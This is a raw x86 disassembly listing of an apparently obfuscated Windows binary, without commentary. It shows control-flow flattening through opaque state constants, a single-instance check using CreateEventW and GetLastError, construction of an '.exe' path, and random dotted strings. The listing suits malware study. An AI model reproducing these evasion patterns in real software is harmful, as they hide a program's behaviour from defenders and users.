mov eax, dword [esi + 0x59c]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xacc], eax
mov eax, dword [esi + 0x59c]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xad0], eax
mov eax, dword [esi + 0x59c]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xad4], eax
mov eax, dword [esi + 0x59c]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xad8], eax
mov eax, dword [esi + 0x59c]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xadc], eax
mov eax, 0xc8
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xae0], eax
mov eax, 0x28
mov dword [esi + 0x598], eax
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xae4], eax
mov eax, 0x10
mov dword [esi + 0x594], eax
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xae8], eax
mov eax, dword [esi + 0x594]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xaec], eax
mov eax, 0xc
call fcn.0041e740
mov eax, esp
mov ecx, dword [esi + 0x5b0]
mov dword [esi + 0x590], eax
mov eax, ecx
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xaf0], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xaf4], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xaf8], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xafc], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb00], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb04], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb08], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb0c], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb10], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb14], eax
mov eax, dword [esi + 0x598]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb18], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb1c], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb20], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb24], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb28], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb2c], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb30], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb34], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb38], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb3c], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb40], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb44], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb48], eax
mov eax, dword [esi + 0x5b0]
call fcn.0041e740
mov eax, esp
mov dword [esi + 0xb4c], eax
mov eax, dword [esi + 0xa50]
mov dword [eax], 0
mov eax, dword [esi + 0xa54]
mov dword [eax], 0
mov eax, dword [esi + 0xa58]
mov dword [eax], 0
mov eax, dword [esi + 0xa5c]
mov dword [eax], 0
mov eax, dword [esi + 0xa60]
mov dword [eax], 0
mov eax, dword [esi + 0xa64]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x3c
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xaa0]
mov dword [eax], 0
mov eax, dword [esi + 0xaa4]
mov dword [eax], 0
mov eax, dword [esi + 0xaa8]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xaac]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xab0]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xab4]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xab8]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xabc]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xac0]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xac4]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xac8]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xacc]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xad0]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xad4]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xadc]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xae0]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc8
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xae4]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x28
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xae8]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xaec]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0x590]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xa
call fcn.0041e120
add esp, 0xc
mov eax, dword [esi + 0xb00]
mov dword [eax], 0
mov eax, dword [esi + 0xb04]
mov dword [eax], 0
mov eax, dword [esi + 0xb10]
mov dword [eax], 0
mov eax, dword [esi + 0xb14]
mov dword [eax], 0xffffffff
call fcn.0042efc0
mov ecx, 0x14d7c900
cmp eax, 0
setl al
and al, 1
mov byte [esi + 0xb50], al
mov dword [esi + 0xa48], ecx
jmp 0x43a2cd
mov eax, 0xa60cc08c
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0x37656766
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0xa4ecb0c6
mov ecx, 0x50c25dfd
mov dl, byte [esi + 0xb51]
test dl, 1
cmovne eax, ecx
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0x4a503f88
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov dword [esi + 0xa48], 0x2fbe33f8
jmp 0x43a2cd
mov eax, 0x7eb07f9d
mov ecx, dword [0x52f984]
movzx ecx, word [ecx]
movzx edx, word [0x45e28a]
cmp ecx, edx
sete bl
and bl, 1
mov byte [esi + 0xb52], bl
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0x6babb086
mov ecx, 0x42681e25
mov dl, byte [esi + 0xb52]
test dl, 1
cmovne eax, ecx
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0x72b06ed9
mov ecx, dword [0x52f984]
add ecx, 2
mov dword [0x52f984], ecx
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov dword [esi + 0xa48], 0x2fbe33f8
jmp 0x43a2cd
mov eax, dword [str._v0]
movzx eax, word [eax]
mov ecx, dword [esi + 0xb1c]
mov dword [ecx], eax
mov eax, dword [esi + 0xb1c]
mov eax, dword [eax]
add eax, 0xc02719d3
add eax, 1
sub eax, 0xc02719d3
mov ecx, dword [str._v0]
movzx eax, word [ecx + eax*2]
mov ecx, dword [esi + 0xb20]
mov dword [ecx], eax
mov eax, dword [esi + 0xb20]
mov eax, dword [eax]
mov ecx, dword [str._v0]
mov edx, dword [esi + 0xb1c]
mov edx, dword [edx]
shl edx, 1
add ecx, edx
add ecx, 4
mov edx, dword [str._v0]
add edx, 2
mov edi, dword [esi + 0xb1c]
mov edi, dword [edi]
mov ebx, dword [esi + 0xb18]
sub esp, 0x14
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
call fcn.00451fe0
add esp, 0x14
mov eax, dword [esi + 0xb18]
sub esp, 4
mov dword [esp], eax
call fcn.00402860
add esp, 4
mov ecx, dword [esi + 0xb18]
mov edx, dword [0x52f984]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0042b800
add esp, 0xc
mov ecx, 0x577d51d9
mov edx, 0x5aa4553b
cmp eax, 0
cmovne ecx, edx
mov dword [esi + 0xa48], ecx
jmp 0x43a2cd
mov eax, 0x34f5e056
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov dword [esi + 0xa48], 0x620df217
jmp 0x43a2cd
mov dword [esi + 0xa48], 0xa4ecb0c6
jmp 0x43a2cd
mov eax, 0xa3c21482
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xb10]
sub esp, 4
mov dword [esp], eax
call fcn.00456700
add esp, 4
mov ecx, 0xf4d794d4
cmp eax, 0
setne dl
and dl, 1
mov byte [esi + 0xb53], dl
mov dword [esi + 0xa48], ecx
jmp 0x43a2cd
mov eax, 0x8b9153f2
mov ecx, 0xd9ae5119
mov dl, byte [esi + 0xb53]
test dl, 1
cmovne eax, ecx
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0x104
mov ecx, dword [esi + 0xaf0]
mov ecx, dword [ecx]
mov edx, dword [esi + 0xad0]
mov edi, dword [esi + 0xabc]
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esi + 0x57c], eax
call fcn.004276a0
add esp, 0x10
mov ecx, 0
mov edx, dword [esi + 0xb0c]
mov dword [edx], eax
mov eax, dword [esi + 0xb0c]
mov eax, dword [eax]
sub ecx, 4
add eax, ecx
mov ecx, dword [esi + 0xabc]
mov word [ecx + eax*2], 0
mov eax, dword [esi + 0xabc]
sub esp, 0x10
mov ecx, esp
mov dword [ecx + 0xc], eax
mov dword [ecx + 8], 0
mov dword [ecx + 4], 0
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventW]
call eax
mov ecx, 0xf038159c
mov edx, 0xe054af03
mov edi, dword [esi + 0xa58]
mov dword [edi], eax
mov eax, dword [esi + 0xa58]
cmp dword [eax], 0
cmovne ecx, edx
mov dword [esi + 0xa48], ecx
jmp 0x43a2cd
mov eax, 0xa35bb322
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov ecx, 0x11f1cdd0
cmp eax, 0xb7
sete dl
and dl, 1
mov byte [esi + 0xb54], dl
mov dword [esi + 0xa48], ecx
jmp 0x43a2cd
mov eax, 0xe311de39
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xabc]
sub esp, 4
mov dword [esp], eax
call fcn.00402860
add esp, 4
mov ecx, 0x104
mov edx, dword [esi + 0xabc]
mov edi, dword [esi + 0xac4]
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], eax
mov dword [esi + 0x578], ecx
call fcn.00430a10
add esp, 0x10
mov eax, dword [esi + 0xac4]
sub esp, 4
mov dword [esp], eax
call fcn.0043d590
add esp, 4
mov eax, dword [esi + 0xa58]
mov eax, dword [eax]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetEvent]
call eax
mov ecx, 0x34d411f6
mov dword [esi + 0xa48], ecx
mov dword [esi + 0x574], eax
jmp 0x43a2cd
lea eax, [0x52f988]
mov ecx, 0x104
mov edx, dword [esi + 0xaf0]
mov edx, dword [edx]
mov edi, dword [esi + 0xad0]
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], 0x104
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esi + 0x570], ecx
call fcn.004023d0
add esp, 0x10
mov ecx, 0x2876367
mov dword [esi + 0xa48], ecx
mov dword [esi + 0x56c], eax
jmp 0x43a2cd
mov eax, 0x57a1b18
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
lea eax, [0x52f988]
mov ecx, 0x104
mov edx, dword [esi + 0xaf0]
mov edx, dword [edx]
mov edi, dword [esi + 0xad0]
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], 0x104
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esi + 0x564], ecx
call fcn.004023d0
add esp, 0x10
mov dword [esi + 0xa48], 0xb31e5676
mov dword [esi + 0x560], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xa4c]
mov dword [eax], 0
mov dword [esi + 0xa48], 0x620df217
jmp 0x43a2cd
mov eax, 0x13bbf493
mov ecx, 0xcedcb6ac
mov edx, dword [esi + 0xb10]
cmp dword [edx], 6
cmovb eax, ecx
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov dword [esi + 0xa48], 0x4fc0b286
jmp 0x43a2cd
mov eax, dword [esi + 0xad4]
mov ecx, dword [esi + 0xad0]
sub esp, 0x10
mov edx, esp
mov dword [edx + 8], eax
mov dword [edx], ecx
mov dword [edx + 0xc], 0
mov dword [edx + 4], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
call eax
inc eax
mov ecx, dword [esi + 0xaf8]
mov dword [ecx], eax
mov eax, dword [esi + 0xab0]
sub esp, 8
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0x104
call fcn.00452a30
add esp, 8
mov ecx, dword [esi + 0xab0]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0x55c], eax
call fcn.00402860
add esp, 4
mov ecx, dword [esi + 0xafc]
mov dword [ecx], eax
sub esp, 4
mov eax, esp
mov dword [eax], 0
call fcn.00407f50
add esp, 4
mov dword [esi + 0x558], edx
mov dword [esi + 0x554], eax
call fcn.0043bdf0
mov ecx, dword [esi + 0x554]
imul ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0041e78e
add esp, 4
mov eax, 0xc65f8193
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov dword [esi + 0xa48], 0x3b44af74
jmp 0x43a2cd
mov eax, 0
mov ecx, 0x20a
mov edx, dword [esi + 0xabc]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esi + 0x550], eax
mov dword [esi + 0x54c], ecx
call fcn.0042fb90
add esp, 0xc
mov ecx, 0
mov edx, 0x20a
mov edi, dword [esi + 0xac0]
sub esp, 0xc
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esi + 0x548], eax
mov dword [esi + 0x544], ecx
mov dword [esi + 0x540], edx
call fcn.0042fb90
add esp, 0xc
mov ecx, 0x104
mov edx, dword [esi + 0xabc]
sub esp, 8
mov dword [esp], edx
mov dword [esp + 4], 0x104
mov dword [esi + 0x53c], eax
mov dword [esi + 0x538], ecx
call fcn.0042bed0
add esp, 8
mov eax, dword [esi + 0xabc]
sub esp, 4
mov dword [esp], eax
call fcn.00402860
add esp, 4
mov ecx, 0x104
mov edx, dword [esi + 0xb24]
mov dword [edx], eax
mov eax, dword [esi + 0xafc]
mov eax, dword [eax]
mov edx, dword [esi + 0xab0]
mov edi, dword [esi + 0xac0]
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], eax
mov dword [esi + 0x534], ecx
call fcn.004023d0
add esp, 0x10
mov ecx, 0
mov edx, dword [esi + 0xb24]
mov edx, dword [edx]
mov edi, dword [esi + 0xabc]
mov ebx, dword [esi + 0xafc]
mov ebx, dword [ebx]
sub ecx, ebx
add ecx, 0x104
mov ebx, dword [esi + 0xac0]
mov dword [esi + 0x530], eax
mov eax, dword [esi + 0xafc]
mov eax, dword [eax]
shl eax, 1
add ebx, eax
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
call fcn.004023d0
add esp, 0x10
lea ecx, str..exe
mov edx, 4
mov edi, 0
mov ebx, dword [esi + 0xafc]
mov ebx, dword [ebx]
sub edi, ebx
add edi, 0x104
mov ebx, dword [esi + 0xb24]
mov ebx, dword [ebx]
sub edi, 0x7df9da5b
sub edi, ebx
add edi, 0x7df9da5b
mov ebx, dword [esi + 0xac0]
mov dword [esi + 0x52c], eax
mov eax, dword [esi + 0xafc]
mov eax, dword [eax]
shl eax, 1
add ebx, eax
mov eax, dword [esi + 0xb24]
mov eax, dword [eax]
shl eax, 1
add ebx, eax
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esi + 0x528], edx
call fcn.004023d0
add esp, 0x10
mov ecx, 0xcf1c7c04
mov dword [esi + 0xa48], ecx
mov dword [esi + 0x524], eax
jmp 0x43a2cd
mov dword [esi + 0xa48], 0x643b5e0f
jmp 0x43a2cd
mov eax, 0x22f350d7
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0x113dddd8
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0x2533917d
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov dword [esi + 0xa48], 0xb3f10879
jmp 0x43a2cd
mov eax, 0xa9aa6236
mov ecx, 0x87cfa8e0
mov edx, dword [esi + 0xa60]
cmp dword [edx], 0
cmove eax, ecx
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0x71fc5db5
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, dword [0x530cd4]
mov ecx, dword [0x530aec]
mov edx, dword [0x530b14]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
mov ebx, dword [esi + 0xa68]
sub esp, 0x18
mov dword [esi + 0x4f8], eax
mov eax, esp
mov dword [eax + 0x14], ebx
mov dword [eax + 8], ecx
mov dword [eax + 4], edx
mov dword [eax], edi
mov dword [eax + 0x10], 1
mov dword [eax + 0xc], 1
mov eax, dword [esi + 0x4f8]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530afc]
mov edi, dword [0x530b14]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x4f4], eax
mov eax, dword [esi + 0xa6c]
sub esp, 0x18
mov dword [esi + 0x4f0], eax
mov eax, esp
mov dword [esi + 0x4ec], ecx
mov ecx, dword [esi + 0x4f0]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x4ec]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530b00]
mov edi, dword [0x530b14]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x4e8], eax
mov eax, dword [esi + 0xa70]
sub esp, 0x18
mov dword [esi + 0x4e4], eax
mov eax, esp
mov dword [esi + 0x4e0], ecx
mov ecx, dword [esi + 0x4e4]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x4e0]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530aec]
mov edi, dword [0x530b10]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x4dc], eax
mov eax, dword [esi + 0xa74]
sub esp, 0x18
mov dword [esi + 0x4d8], eax
mov eax, esp
mov dword [esi + 0x4d4], ecx
mov ecx, dword [esi + 0x4d8]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x4d4]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530ae0]
mov edi, dword [0x530b20]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x4d0], eax
mov eax, dword [esi + 0xa78]
sub esp, 0x18
mov dword [esi + 0x4cc], eax
mov eax, esp
mov dword [esi + 0x4c8], ecx
mov ecx, dword [esi + 0x4cc]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x4c8]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530aec]
mov edi, dword [0x530b24]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x4c4], eax
mov eax, dword [esi + 0xa7c]
sub esp, 0x18
mov dword [esi + 0x4c0], eax
mov eax, esp
mov dword [esi + 0x4bc], ecx
mov ecx, dword [esi + 0x4c0]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 1
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x4bc]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530b30]
mov edi, dword [0x530b28]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x4b8], eax
mov eax, dword [esi + 0xa80]
sub esp, 0x18
mov dword [esi + 0x4b4], eax
mov eax, esp
mov dword [esi + 0x4b0], ecx
mov ecx, dword [esi + 0x4b4]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x4b0]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530b2c]
mov edi, dword [0x530b28]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x4ac], eax
mov eax, dword [esi + 0xa84]
sub esp, 0x18
mov dword [esi + 0x4a8], eax
mov eax, esp
mov dword [esi + 0x4a4], ecx
mov ecx, dword [esi + 0x4a8]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 1
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x4a4]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530b2c]
mov edi, dword [0x530b14]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
mov dword [esi + 0x4a0], eax
mov eax, dword [esi + 0xa88]
sub esp, 0x18
mov dword [esi + 0x49c], eax
mov eax, esp
mov dword [esi + 0x498], ecx
mov ecx, dword [esi + 0x49c]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 1
mov eax, dword [esi + 0x498]
call eax
mov ecx, dword [0x530cd0]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 4
mov edi, esp
mov dword [edi], edx
mov dword [esi + 0x494], eax
call ecx
mov ecx, dword [esi + 0xae0]
mov dword [esi + 0x490], eax
mov dword [esi + 0x48c], ecx
call fcn.0041e76b
mov ecx, eax
xor ecx, 0xfffffff0
and ecx, eax
sub esp, 0xc
mov eax, esp
mov edx, dword [esi + 0x48c]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0xa
call fcn.0041ec78
add esp, 0xc
mov ecx, dword [esi + 0xae0]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0x488], eax
call fcn.00402860
add esp, 4
mov ecx, dword [esi + 0xaf0]
mov dword [ecx], eax
mov eax, dword [esi + 0xaf0]
mov eax, dword [eax]
mov ecx, eax
inc ecx
mov edx, dword [esi + 0xaf0]
mov dword [edx], ecx
mov ecx, dword [esi + 0xae0]
mov word [ecx + eax*2], 0x2e
mov eax, dword [esi + 0xae0]
mov ecx, dword [esi + 0xaf0]
mov ecx, dword [ecx]
lea eax, [eax + ecx*2]
mov dword [esi + 0x484], eax
call fcn.0041e76b
and eax, 1
sub esp, 0xc
mov ecx, esp
mov edx, dword [esi + 0x484]
mov dword [ecx + 4], edx
mov dword [ecx], eax
mov dword [ecx + 8], 0xa
call fcn.0041ec78
add esp, 0xc
mov ecx, dword [esi + 0xae0]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0x480], eax
call fcn.00402860
add esp, 4
mov ecx, dword [esi + 0xaf0]
mov dword [ecx], eax
mov eax, dword [esi + 0xaf0]
mov eax, dword [eax]
mov ecx, eax
neg ecx
mov edx, 1
sub edx, ecx
mov ecx, dword [esi + 0xaf0]
mov dword [ecx], edx
mov ecx, dword [esi + 0xae0]
mov word [ecx + eax*2], 0x2e
mov eax, dword [esi + 0xae0]
mov ecx, dword [esi + 0xaf0]
mov ecx, dword [ecx]
lea eax, [eax + ecx*2]
mov dword [esi + 0x47c], eax
call fcn.0041e76b
and eax, 5
sub esp, 0xc
mov ecx, esp
mov edx, dword [esi + 0x47c]
mov dword [ecx + 4], edx
mov dword [ecx], eax
mov dword [ecx + 8], 0xa
call fcn.0041ec78
add esp, 0xc
mov ecx, dword [esi + 0xae0]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0x478], eax
call fcn.00402860
add esp, 4
mov ecx, dword [esi + 0xaf0]
mov dword [ecx], eax
mov eax, dword [esi + 0xaf0]
mov eax, dword [eax]
mov ecx, eax
inc ecx
mov edx, dword [esi + 0xaf0]
mov dword [edx], ecx
mov ecx, dword [esi + 0xae0]
mov word [ecx + eax*2], 0x2e
mov eax, dword [esi + 0xae0]
mov ecx, dword [esi + 0xaf0]
mov ecx, dword [ecx]
lea eax, [eax + ecx*2]
mov dword [esi + 0x474], eax
call fcn.0041e76b
and eax, 0xc
sub esp, 0xc
mov ecx, esp
mov edx, dword [esi + 0x474]
mov dword [ecx + 4], edx
mov dword [ecx], eax
mov dword [ecx + 8], 0xa
call fcn.0041ec78
add esp, 0xc
mov ecx, dword [esi + 0xae0]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0x470], eax
call fcn.00402860
add esp, 4
mov ecx, dword [esi + 0xaf0]
mov dword [ecx], eax
mov eax, dword [0x4ee494]
movzx eax, byte [eax]
mov ecx, dword [esi + 0xb28]
mov dword [ecx], eax
mov eax, dword [esi + 0xb28]
mov eax, dword [eax]
not eax
mov ecx, dword [0x4ee494]
neg eax
movzx eax, byte [ecx + eax]
mov ecx, dword [esi + 0xb2c]
mov dword [ecx], eax
mov eax, dword [esi + 0xb2c]
mov eax, dword [eax]
mov ecx, dword [0x4ee494]
mov edx, dword [esi + 0xb28]
mov edx, dword [edx]
lea ecx, [ecx + edx + 2]
mov edx, dword [0x4ee494]
inc edx
mov edi, dword [esi + 0xb28]
mov edi, dword [edi]
mov ebx, dword [esi + 0xae8]
sub esp, 0x14
mov dword [esi + 0x46c], eax
mov eax, esp
mov dword [esi + 0x468], ecx
mov ecx, dword [esi + 0x46c]
mov dword [eax + 0x10], ecx
mov ecx, dword [esi + 0x468]
mov dword [eax + 0xc], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call fcn.0043ed50
add esp, 0x14
mov eax, dword [0x530ccc]
mov ecx, dword [0x530b08]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 8
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
call eax
mov ecx, dword [esi + 0xa8c]
mov dword [ecx], eax
mov eax, dword [0x530cc4]
xor ecx, ecx
mov edx, dword [0x530b38]
mov edi, dword [0x530ae8]
mov ebx, dword [esi + 0xa60]
